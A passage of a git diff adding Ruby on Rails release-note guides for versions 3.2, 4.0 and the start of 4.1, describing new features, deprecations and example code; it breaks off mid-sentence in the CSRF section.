+* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'.
+
+* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
+
+    ```erb
+    <%= form_for(@offer, :namespace => 'namespace') do |f| %>
+      <%= f.label :version, 'Version' %>:
+      <%= f.text_field :version %>
+    <% end %>
+    ```
+
+* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit.
+
+* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this:
+
+    ```ruby
+    @items.each do |item|
+      content_tag_for(:li, item) do
+         Title: <%= item.title %>
+      end
+    end
+    ```
+
+    You can do this:
+
+    ```ruby
+    content_tag_for(:li, @items) do |item|
+      Title: <%= item.title %>
+    end
+    ```
+
+* Added `font_path` helper method that computes the path to a font asset in `public/fonts`.
+
+#### Deprecations
+
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+
+### Sprockets
+
+* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`.
+
+Active Record
+-------------
+
+* Boolean columns with 'on' and 'ON' values are type cast to true.
+
+* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default.
+
+* Implemented `ActiveRecord::Relation#explain`.
+
+* Implements `AR::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block.
+
+* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL.
+
+* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores.
+
+    ```ruby
+    class User < ActiveRecord::Base
+      store :settings, accessors: [ :color, :homepage ]
+    end
+
+    u = User.new(color: 'black', homepage: '37signals.com')
+    u.color                          # Accessor stored attribute
+    u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+    ```
+
+* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed).
+
+    ```
+    rake db:migrate SCOPE=blog
+    ```
+
+* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`.
+
+* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes.
+
+    ```ruby
+    Client.where(:active => true).pluck(:id)
+    # SELECT id from clients where active = 1
+    ```
+
+* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name.
+
+* Add `ActiveRecord::Relation#uniq` for generating unique queries.
+
+    ```ruby
+    Client.select('DISTINCT name')
+    ```
+
+    ..can be written as:
+
+    ```ruby
+    Client.select(:name).uniq
+    ```
+
+    This also allows you to revert the uniqueness in a relation:
+
+    ```ruby
+    Client.select(:name).uniq.uniq(false)
+    ```
+
+* Support index sort order in SQLite, MySQL and PostgreSQL adapters.
+
+* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string.
+
+    ```ruby
+    has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized
+    ```
+
+* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`.
+
+* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation.
+
+* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures.
+
+* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it.
+
+    ```ruby
+    User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+    ```
+
+* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`.
+
+    This makes it possible to write the following:
+
+    ```ruby
+    class Order < ActiveRecord::Base
+      def cancel!
+        transaction do
+          lock!
+          # ... cancelling logic
+        end
+      end
+    end
+    ```
+
+    as:
+
+    ```ruby
+    class Order < ActiveRecord::Base
+      def cancel!
+        with_lock do
+          # ... cancelling logic
+        end
+      end
+    end
+    ```
+
+### Deprecations
+
+* Automatic closure of connections in threads is deprecated. For example the following code is deprecated:
+
+    ```ruby
+    Thread.new { Post.find(1) }.join
+    ```
+
+    It should be changed to close the database connection at the end of the thread:
+
+    ```ruby
+    Thread.new {
+      Post.find(1)
+      Post.connection.close
+    }.join
+    ```
+
+    Only people who spawn threads in their application code need to worry about this change.
+
+* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`.
+
+    ```ruby
+    class Project < ActiveRecord::Base
+      self.table_name = "project"
+    end
+    ```
+
+    Or define your own `self.table_name` method:
+
+    ```ruby
+    class Post < ActiveRecord::Base
+      def self.table_name
+        "special_" + super
+      end
+    end
+
+    Post.table_name # => "special_posts"
+
+    ```
+
+Active Model
+------------
+
+* Add `ActiveModel::Errors#added?` to check if a specific error has been added.
+
+* Add ability to define strict validations with `strict => true` that always raises exception when fails.
+
+* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior.
+
+### Deprecations
+
+* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`.
+
+Active Resource
+---------------
+
+* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found.
+
+Active Support
+--------------
+
+* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities.
+
+    ```ruby
+    Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+
+    Logger.tagged("BCX") { Logger.info "Stuff" }
+    # Logs "[BCX] Stuff"
+
+    Logger.tagged("BCX", "Jason") { Logger.info "Stuff" }
+    # Logs "[BCX] [Jason] Stuff"
+
+    Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } }
+    # Logs "[BCX] [Jason] Stuff"
+    ```
+
+* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start.
+
+* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs.
+
+* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names.
+
+* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name.
+
+* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist.
+
+* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`.
+
+* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`.
+
+* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace.
+
+* The inflector understands acronyms.
+
+* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges.
+
+    ```ruby
+    Event.where(:created_at => Time.now.all_week)
+    Event.where(:created_at => Time.now.all_day)
+    ```
+
+* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends.
+
+* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat.
+
+* Added `ActiveSupport::Cache::NullStore` for use in development and testing.
+
+* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library.
+
+### Deprecations
+
+* `ActiveSupport::Base64` is deprecated in favor of `::Base64`.
+
+* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern.
+
+* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library.
+
+* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`.
+
+* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block.
+
+* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place.
+
+* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating.
+
+* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing.
+
+    ```ruby
+    f = File.open('foo.log', 'w')
+    f.sync = true
+    ActiveSupport::BufferedLogger.new f
+    ```
+
+* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.)
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
new file mode 100644
index 0000000..19c6902
--- /dev/null
+++ b/guides/source/4_0_release_notes.md
@@ -0,0 +1,276 @@
+Ruby on Rails 4.0 Release Notes
+===============================
+
+Highlights in Rails 4.0:
+
+* Ruby 2.0 preferred; 1.9.3+ required
+* Strong Parameters
+* Turbolinks
+* Russian Doll Caching
+
+These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.0
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide.
+
+
+Creating a Rails 4.0 application
+--------------------------------
+
+```
+ You should have the 'rails' RubyGem installed
+$ rails new myapp
+$ cd myapp
+```
+
+### Vendoring Gems
+
+Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: [Bundler homepage](http://gembundler.com)
+
+### Living on the Edge
+
+`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
+
+```
+$ rails new myapp --edge
+```
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
+
+```
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+```
+
+Major Features
+--------------
+
+[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
+
+### Upgrade
+
+ * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
+ * **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+ * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
+ * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
+ * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
+ * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
+ * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
+ * **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+
+### ActionPack
+
+ * **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+ * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
+ * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
+ * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation
+ * **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
+ * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
+ * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
+ * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.
+
+### General
+
+ * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`)
+ * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables.
+ * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file.
+ * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important.
+ * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store.
+ * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers.
+ * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. Note: Check that the gems you are using are threadsafe.
+ * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources.
+
+### Security
+
+ * **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified.
+ * **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called.
+ * **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe).
+
+Extraction of features to gems
+---------------------------
+
+In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back.
+
+* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders))
+* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251))
+* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436))
+* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2))
+* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource))
+* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833))
+* Sprockets ([GitHub](https://github.com/rails/sprockets-rails))
+* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876))
+
+Documentation
+-------------
+
+* Guides are rewritten in GitHub Flavored Markdown.
+
+* Guides have a responsive design.
+
+Railties
+--------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878))
+
+* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`.
+
+* Threadsafe on by default
+
+* Ability to use a custom builder by passing `--builder` (or `-b`) to
+  `rails new` has been removed. Consider using application templates
+  instead. ([Pull Request](https://github.com/rails/rails/pull/9401))
+
+### Deprecations
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded.
+
+* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
+
+Action Mailer
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+### Deprecations
+
+Active Model
+------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed.
+
+* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box.
+
+### Deprecations
+
+Active Support
+--------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead.
+
+* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument.
+
+* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`.
+
+* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
+  when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
+
+  ```
+  # ActiveSupport 3.x
+  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+
+  # ActiveSupport 4
+  "asdf".to_date # => ArgumentError: invalid date
+  "333".to_date # => Fri, 29 Nov 2013
+  ```
+
+### Deprecations
+
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals.
+
+* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
+
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
+
+* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
+
+Action Pack
+-----------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages.
+
+### Deprecations
+
+
+Active Record
+-------------
+
+Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes.
+
+### Notable changes
+
+* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary.
+
+    * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given.
+      The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible).
+      The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
+
+    * New method `reversible` makes it possible to specify code to be run when migrating up or down.
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#using-the-reversible-method)
+
+    * New method `revert` will revert a whole migration or the given block.
+      If migrating down, the given migration / block is run normally.
+      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/migrations.md#reverting-previous-migrations)
+
+* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
+
+* Add `Relation#load` to explicitly load the record and return `self`.
+
+* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading.
+
+* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending.
+
+* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this:
+
+        store :settings, accessors: [ :color, :homepage ], coder: JSON
+
+* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`.
+
+* Remove IdentityMap.
+
+* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed.
+
+* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class.
+
+* Added `create_join_table` migration helper to create HABTM join tables.
+
+* Allows PostgreSQL hstore records to be created.
+
+### Deprecations
+
+* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do.
+
+* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's
+  how you can rewrite the code:
+
+      * `find_all_by_...` can be rewritten using `where(...)`.
+      * `find_last_by_...` can be rewritten using `where(...).last`.
+      * `scoped_by_...` can be rewritten using `where(...)`.
+      * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`.
+      * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`.
+      * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`.
+
+Credits
+-------
+
+See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
new file mode 100644
index 0000000..e6e8d40
--- /dev/null
+++ b/guides/source/4_1_release_notes.md
@@ -0,0 +1,731 @@
+Ruby on Rails 4.1 Release Notes
+===============================
+
+Highlights in Rails 4.1:
+
+* Spring application preloader
+* `config/secrets.yml`
+* Action Pack variants
+* Action Mailer previews
+
+These release notes cover only the major changes. To know about various bug
+fixes and changes, please refer to the change logs or check out the
+[list of commits](https://github.com/rails/rails/commits/master) in the main
+Rails repository on GitHub.
+
+--------------------------------------------------------------------------------
+
+Upgrading to Rails 4.1
+----------------------
+
+If you're upgrading an existing application, it's a great idea to have good test
+coverage before going in. You should also first upgrade to Rails 4.0 in case you
+haven't and make sure your application still runs as expected before attempting
+an update to Rails 4.1. A list of things to watch out for when upgrading is
+available in the
+[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1)
+guide.
+
+
+Major Features
+--------------
+
+### Spring Application Preloader
+
+Spring is a Rails application preloader. It speeds up development by keeping
+your application running in the background so you don't need to boot it every
+time you run a test, rake task or migration.
+
+New Rails 4.1 applications will ship with "springified" binstubs. This means
+that `bin/rails` and `bin/rake` will automatically take advantage of preloaded
+spring environments.
+
+**Running rake tasks:**
+
+```
+bin/rake test:models
+```
+
+**Running a Rails command:**
+
+```
+bin/rails console
+```
+
+**Spring introspection:**
+
+```
+$ bin/spring status
+Spring is running:
+
+ 1182 spring server | my_app | started 29 mins ago
+ 3656 spring app    | my_app | started 23 secs ago | test mode
+ 3746 spring app    | my_app | started 10 secs ago | development mode
+```
+
+Have a look at the
+[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+see all available features.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
+guide on how to migrate existing applications to use this feature.
+
+### `config/secrets.yml`
+
+Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default,
+this file contains the application's `secret_key_base`, but it could also be
+used to store other secrets such as access keys for external APIs.
+
+The secrets added to this file are accessible via `Rails.application.secrets`.
+For example, with the following `config/secrets.yml`:
+
+```yaml
+development:
+  secret_key_base: 3b7cd727ee24e8444053437c36cc66c3
+  some_api_key: SOMEKEY
+```
+
+`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development
+environment.
+
+See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml)
+guide on how to migrate existing applications to use this feature.
+
+### Action Pack Variants
+
+We often want to render different HTML/JSON/XML templates for phones,
+tablets, and desktop browsers. Variants make it easy.
+
+The request variant is a specialization of the request format, like `:tablet`,
+`:phone`, or `:desktop`.
+
+You can set the variant in a `before_action`:
+
+```ruby
+request.variant = :tablet if request.user_agent =~ /iPad/
+```
+
+Respond to variants in the action just like you respond to formats:
+
+```ruby
+respond_to do |format|
+  format.html do |html|
+    html.tablet # renders app/views/projects/show.html+tablet.erb
+    html.phone { extra_setup; render ... }
+  end
+end
+```
+
+Provide separate templates for each format and variant:
+
+```
+app/views/projects/show.html.erb
+app/views/projects/show.html+tablet.erb
+app/views/projects/show.html+phone.erb
+```
+
+You can also simplify the variants definition using the inline syntax:
+
+```ruby
+respond_to do |format|
+  format.js         { render "trash" }
+  format.html.phone { redirect_to progress_path }
+  format.html.none  { render "trash" }
+end
+```
+
+### Action Mailer Previews
+
+Action Mailer previews provide a way to visually see how emails look by visiting
+a special URL that renders them.
+
+You implement a preview class whose methods return the mail object you'd like
+to check:
+
+```ruby
+class NotifierPreview < ActionMailer::Preview
+  def welcome
+    Notifier.welcome(User.first)
+  end
+end
+```
+
+The preview is available in http://localhost:3000/rails/mailers/notifier/welcome,
+and a list of them in http://localhost:3000/rails/mailers.
+
+By default, these preview classes live in `test/mailers/previews`.
+This can be configured using the `preview_path` option.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html)
+for a detailed write up.
+
+### Active Record enums
+
+Declare an enum attribute where the values map to integers in the database, but
+can be queried by name.
+
+```ruby
+class Conversation < ActiveRecord::Base
+  enum status: [ :active, :archived ]
+end
+
+conversation.archived!
+conversation.active? # => false
+conversation.status  # => "archived"
+
+Conversation.archived # => Relation for all archived Conversations
+
+Conversation.statuses # => { "active" => 0, "archived" => 1 }
+```
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+for a detailed write up.
+
+### Message Verifiers
+
+Message verifiers can be used to generate and verify signed messages. This can
+be useful to safely transport sensitive data like remember-me tokens and
+friends.
+
+The method `Rails.application.message_verifier` returns a new message verifier
+that signs messages with a key derived from secret_key_base and the given
+message verifier name:
+
+```ruby
+signed_token = Rails.application.message_verifier(:remember_me).generate(token)
+Rails.application.message_verifier(:remember_me).verify(signed_token) # => token
+
+Rails.application.message_verifier(:remember_me).verify(tampered_token)
+# raises ActiveSupport::MessageVerifier::InvalidSignature
+```
+
+### Module#concerning
+
+A natural, low-ceremony way to separate responsibilities within a class:
+
+```ruby
+class Todo < ActiveRecord::Base
+  concerning :EventTracking do
+    included do
+      has_many :events
+    end
+
+    def latest_event
+      ...
+    end
+
+    private
+      def some_internal_method
+        ...
+      end
+  end
+end
+```
+
+This example is equivalent to defining a `EventTracking` module inline,
+extending it with `ActiveSupport::Concern`, then mixing it in to the
+`Todo` class.
+
+See its
+[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html)
+for a detailed write up and the intended use cases.
+
+### CSRF protection from remote `<script>` tags
+
+Cross-site request forgery (CSRF) protection now covers GET requests with
+JavaScript responses, too. That prevents a third-party site from referencing
